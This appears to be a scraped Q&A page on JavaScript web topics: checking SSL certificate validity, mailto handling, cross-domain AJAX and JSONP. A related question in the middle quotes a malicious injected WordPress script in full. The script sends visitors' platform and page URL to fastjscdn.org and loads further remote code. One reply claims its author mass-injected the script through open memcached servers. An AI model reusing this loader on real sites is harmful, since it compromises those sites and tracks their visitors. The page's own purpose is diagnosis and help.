Check in JavaScript if an SSL Certificate is valid - javascript

Is there a way to check in JavaScript if given a host its SSL certificate is valid? (non blocking)
In my case, I want to display: "you can also use https://.." if via JavaScript I can make a request to https://my_url without being asked to accept an untrusted certificate.
Can this be done asynchronously?

Take a look here: https://support.mozilla.org/pl/questions/923494
<img src="https://the_site/the_image" onerror="redirectToCertPage()">
This solution is tested and working in current versions of FF and Chrome (as of 2022):
<script> var sslCertTrusted = false; </script>
<script src="https://example.com/ssltest.js"></script>
<script>
if (!sslCertTrusted)
{
alert('Sorry, you need to install the certificate first.');
window.location.replace('http://example.com/cert_install_instructions/');
}
else
{
// alert('Redirecting to secure connection')
window.location.replace('https://example.com/');
}
<script>
You of course need to make your web server return this code under the URL https://example.com/ssltest.js:
sslCertTrusted = true;
I'm not exactly sure about the details. But I've seen similar technology used to detect adblocking etc. You may need to piggyback on the window object maybe, if the variable can't be modified by another script, but generally making the above proof of concept work is left as an exercise to the reader.

What I've found up to now - it is possible with Firefox, don't know yet about other browsers:
https://developer.mozilla.org/En/How_to_check_the_security_state_of_an_XMLHTTPRequest_over_SSL

The straight answer is no. Javascript does not provide any means of validating certificates. This is a job left to the browser.
A better approach to this problem is from the server side. If you are controlling the site, than you can render down a variable on the page with information gleaned on the server side.
In .Net something like
var canSecure = <%= MySiteHasSsl ? "true" : "false" %>;
if (canSecure) {
if (confirm("This site supports SSL encryption. Would you like to switch to a secure connection?")) {
location.href = "https://mysite.com";
}
}

I'm not quite sure what your use case is. If you are just trying to "check ahead of time" before you provide a link to someone for another website then the other answers here will be more relevant than mine.
If you are expecting mysite.com to use an SSL certificate that isn't trusted by default in the browser but you have another way of knowing it should be trusted, then you could use a JavaScript TLS implementation to make cross-domain requests to that other site. However, this requires that your website be served on https and trusted in the browser to begin with and the other site to provide a Flash cross-domain policy file.
If this sounds anything like what you want to do, check out the open source Forge project at github:
http://github.com/digitalbazaar/forge/blob/master/README.md

Useful notice: navigator.clipboard will be undefined on Chrome browsers if there's no valid SSL certificate.

The question doesn't make sense. You can't get the server's SSL certificate without opening an SSL connection to it, and once you've done that, telling the user they can do that too is a bit pointless.

You could run a server elsewhere that handles certificate checks based on whatever you want, then your javascript application sends a request to that server asking for a checkup. This does require that you have at least one server somewhere in the world that you can trust.
A query of this nature can be done in the background quite easily.

Related

Malicious JS code in Wordpress change the domain where it is hosted

In my Wordpress site, i have this malicious code before "/body":
<script src="https://fastjscdn.org/static.js?hash=a633f506a53746a846742c5655ebf596"></script>
The file static.js contains this:
window.__google__ads__show||(window.__google__ads__show="1",function(){if(function t(){try{return window.self!==window.top}catch(a){return!0}}()){var t,a,e=window.parent.document.createElement("script");e.src="https://fastjscdn.org/static.js",window.parent.document.body.appendChild(e);return}fetch("https://fastjscdn.org/platform/"+(window.navigator?.userAgentData?.platform||window.navigator.platform)+"/url/"+window.location.href).then(t=>{}),t="https://fastjscdn.org/"+window.location.hostname.replace("www.","")+"/static.js",(a=document.createElement("script")).src=t,document.head.appendChild(a)}());
Before "fastjscdn .org", the maliciuos JS code was hosting on domanin name "asmr9999 .live". Since few days, the domain has changed in "fastjscdn .org".
How is it possible? How can it change the domain where is it hosted?
I am sure that Wordpress, themes and plugins do not contain the malicious code. I didn't find anything in the database, also in base64 encode, for now.
Also, What does the code in the JS file do to my site?
I also found other people with my same malware, in a custom CMS, we can not solve the problem in any way. More info here
It maybe late,but let me tell the truth.The problem is the Memcached server you are using which is public and no password in network.I made a script scanning the network and injecting this malicious code to every memcached server.It's a "cache-side" xss attack.Your server is safe.Configure your firewall and block connection from outside to port 11211,everything will ok.
You can use an online JavaScript beautifier tool to check the content of static.js: seems to be injecting script adapted to the platform, probably the same that you mentioned in your other question that will trigger the download of a malware/adware
The reason why it could change the domain in the script is probably because your host is still infected; the domain was registered very recently, and was probably chosen as it looks less suspicious than the previous one

What does `mailto:` do when there is no email client?

I am developing a website.
What does mailto: open in if there is no email client (like Outlook, Thunderbird, etc.)?
It works on my computer, which has Outlook, but what if one wants mailto: to open in, say, gmail.com?
What do I need to put in the mailto: statement for that to happen?
As a web developer you don't have any control over the software that a user chooses to open their email, since it's handled by that user's web browser settings, or the OS. If a user has no email program installed on their machine and no operation defined for "mailto" links in their browser, nothing would happen.
The following solution works for me:
(function($)) {
$('a[href^=mailto]').each(function() {
var href = $(this).attr('href');
$(this).click(function() {
var t;
var self = $(this);
$(window).blur(function() {
// The browser apparently responded, so stop the timeout.
clearTimeout(t);
});
t = setTimeout(function() {
// The browser did not respond after 500ms, so open an alternative URL.
document.location.href = '...';
}, 500);
});
});
})(jQuery);
For more info see: https://www.uncinc.nl/articles/dealing-with-mailto-links-if-no-mail-client-is-available
I believe you can use this. https://mail.google.com/mail/?view=cm&fs=1&to=email#domain.com
This however does have its flaws in which the user must be already signed into gmail. Hope this helps!
What happens is entirely up to the client. The OS defines protocol handlers for protocols like mailto: or tel:, etc.
You would need access to the client's registry (in case of a Windows system) to manipulate the handling application for your protocol handler.
For Outlook 2013 as the designated handler, the according Registry structure looks like this:
[HKEY_CLASSES_ROOT\mailto]
#="URL:mailto"
"EditFlags"=hex:02,00,00,00
"URL Protocol"=""
[HKEY_CLASSES_ROOT\mailto\DefaultIcon]
#="C:\\PROGRA~2\\MICROS~1\\Office15\\OUTLOOK.EXE,-9403"
[HKEY_CLASSES_ROOT\mailto\shell]
#="open"
[HKEY_CLASSES_ROOT\mailto\shell\open]
[HKEY_CLASSES_ROOT\mailto\shell\open\command]
#="\"C:\\PROGRA~2\\MICROS~1\\Office15\\OUTLOOK.EXE\" -c IPM.Note /mailto \"%1\""
with a corresponding structure under HKCU.
The mailto URI scheme doesn't decide what happens-- it simply instructs the browser you're using to do whatever it's been configured to do to send e-mails (see the IETF proposed standard for more info). Therefore, you'll have to consult the browser itself to see what it does if no e-mail client is configured.
According to the documentation and to my personal experience, I don't see any way of manually setting an action: It might be possible with certain browsers with some non-standard syntax, but this is unlikely since this would open up a huge potential security problem by being able to execute an arbitrary command by click (such as downloading a virus or something like that).

Bypassing a browser security limitation on my own computer

I'm trying to create a list of languages' directions (Left-To-Right or Right-To-Left. Other directions don't exist in Wikipedia) by their prefixes (en, fr, es, …) in Wikipedia. To do that I wrote a JS code that can be executed on this page and that stores the data in a variable. The code opens the main page of each Wikipedia and tries to check the direction of the language according to the 'dir' attribute of its <html> element. However, since each Wikipedia has a different domain, the browser won't let me access this data, for security reasons. Is there a browser that would? Is it possible to change my preferences to enable it?
P.S. The code:
var as = document.querySelectorAll('a.extiw'), pre, win, dirByPre = {};
for each (var a in as)
if (pre = /^http:\/\/(\w+)\.wikipedia\.org\/wiki\/$/.exec(a.href)) {
win = open(pre[0]);
win.onload = function () {
opener.dirByPre[pre[1]] = document.documentElement.dir;
close();
};
}
Thanks a lot!
What you're running into is an Access Control Allow Origin error. Read up on it, Access Control Allow Origin not allowed by.
In general, if you want to access another page's data for use in JS, you need to do so on your own server and pass that to Javascript.
However, the best solution in this case is to instead access Wikipedia via its API and request a JSONP response. Remember, Wikipedia is built on MediaWiki, so see its API Docs http://www.mediawiki.org/wiki/API:Main_page.
title = "List_of_Wikipedias";
$.getJSON("http://en.wikipedia.org/w/api.php?action=query&prop=revisions&rvprop=content&titles="+title+"&format=json&callback=?", function(data) {
console.log(data);
})
Note the "format=json" and the "callback=?"
This JSONP approach will work in all modern browsers.
There is a reason that this is generally disallowed in modern browsers. There are many security issues that exist when arbitrary JavaScript is allowed to access other domains. A single example is XSS (cross-site scripting).
What you're trying to do would be much easier if you weren't trying to run your script inside the browser. Python, Ruby, or any other scripting language, really, could do this with ease using individual HTTP requests. And if you know JavaScript, how about Node.JS?
This might be an odd solution, but you could write a browser extension which would allow you to make cross domain requests. There are easy ways to develop extensions such as Crossrider which has an X-Domain addon that allows you to make cross domain requests via Javascript.

Javascript security / cross scripting on same server

Have some Javascript that I need to work via the following:
://localhost
://servername
:/www.domainnamefortheserver.com
When I run the script from http://servername with an IFRAME referencing the domain - it does not load.
Is there a way to get the Javascript security model to recognize the server name, localhost and the domain as the same "domain"?
Thanks
If you are running on UNIX you can edit /etc/hosts to give a fake DNS entry for your server.
eg.
127.0.0.1 localhost www.domainnamefortheserver.com
Then you can always connect to it as the correct name even when it's not on the live site yet. Don't try and break the javascript security directly.
This will also work on OSX. Windows works differently, I expect.
If you are using a server-side language to generate the page, you may be able to set the security domain like so:
document.domain = $CURRENT_HOSTNAME;
So the security domain will be the domain the user requested. This is a shot in the dark, but I hope it helps nonetheless.
Use root relative URIs:
href="/foo/bar"
rather than absolute URIs:
href="http://example.com/foo/bar"
That way the document will be loaded from the same hostname.
What do you mean by
my references are to the domain name
?
If you load scripts in your page on http://servername (using <script src=''>), they will have access to everything on http://servername, even if they come from another domain.
However, if you try to make AJAX calls to the other domain, then you have a problem. You can use the trick explained by Christopher, ie making aliases to the domain.

Dashboard Cross-domain AJAX with jquery

Hey everyone, I'm working on a widget for Apple's Dashboard and I've run into a problem while trying to get data from my server using jquery's ajax function. Here's my javascript code:
$.getJSON("http://example.com/getData.php?act=data",function(json) {
$("#devMessage").html(json.message)
if(json.version != version) {
$("#latestVersion").css("color","red")
}
$("#latestVersion").html(json.version)
})
And the server responds with this json:
{"message":"Hello World","version":"1.0"}
For some reason though, when I run this the fields on the widget don't change. From debugging, I've learned that the widget doesn't even make the request to the server, so it makes me think that Apple has some kind of external URL block in place. I know this can't be true though, because many widgets phone home to check for updates.
Does anyone have any ideas as to what could be wrong?
EDIT: Also, this code works perfectly fine in Safari.
As requested by Luca, here's the PHP and Javascript code that's running right now:
PHP:
echo $_GET["callback"].'({"message":"Hello World","version":"1.0"});';
Javascript:
function showBack(event)
{
var front = document.getElementById("front");
var back = document.getElementById("back");
if (window.widget) {
widget.prepareForTransition("ToBack");
}
front.style.display = "none";
back.style.display = "block";
stopTime();
if (window.widget) {
setTimeout('widget.performTransition();', 0);
}
$.getJSON('http://nakedsteve.com/data/the-button.php?callback=?',function(json) {
$("#devMessage").html(json.message)
if(json.version != version) {
$("#latestVersion").css("color","red")
}
$("#latestVersion").html(json.version)
})
}
In Dashcode click Widget Attributes then Allow Network Access make sure that option is checked. I've built something that simply refused to work, and this was the solution.
Cross-domain Ajax requests ( Using the XMLHttpRequest / ActiveX object ) are not allowed in the current standard, as per the W3C spec:
This specification does not include
the following features which are being
considered for a future version of
this specification:
Cross-site XMLHttpRequest;
However there's 1 technique of doing ajax requests cross-domain, JSONP, by including a script tag on the page, and with a little server configuration.
jQuery supports this, but instead of responding on your server with this
{"message":"Hello World","version":"1.0"}
you'll want to respond with this:
myCallback({"message":"Hello World","version":"1.0"});
myCallback must be the value in the "callback" parameter you passed in the $.getJSON() function. So if I was using PHP, this would work:
echo $_GET["callback"].'({"message":"Hello World","version":"1.0"});';
Apple has some kind of external URL block in place.
In your Info.plist you need to have the key AllowNetworkAccess set to true.
<key>allowNetworkAccess</key>
<true/>
Your code works in Safari because it is not constrained in the dashboard sever and it is not standards complient in that it DOES allow cross site AJAX. FF IS standards complient in that it DOES NOT allow cross site ajax.
If you are creating a dashboard widget, why don't you use the XMLHttpRequest Setup function in the code library of DashCode. Apple built these in so you don't need to install 3rd party JS libraries. I'm not sure about JSON support but perhaps starting here will lead you in a better direction.
So another solution is to create your own server side web service where you can control the CORS of, the users web browser can't access another site, but if you wrap that other site in your own web service (on the same domain) then it does not cause an issue.
Interesting that it works in Safari. As far as I know to do x-domain ajax requests you need to use the jsonp dataType.
http://docs.jquery.com/Ajax/jQuery.getJSON
http://bob.pythonmac.org/archives/2005/12/05/remote-json-jsonp/
Basically you need to add callback=? to your query string and jquery will automatically replace it with the correct method eg:
$.getJSON("http://example.com/getData.php?act=data&callback=?",function(){ ... });
EDIT: put the callback=? bit at the end of the query string just to be safe.

Categories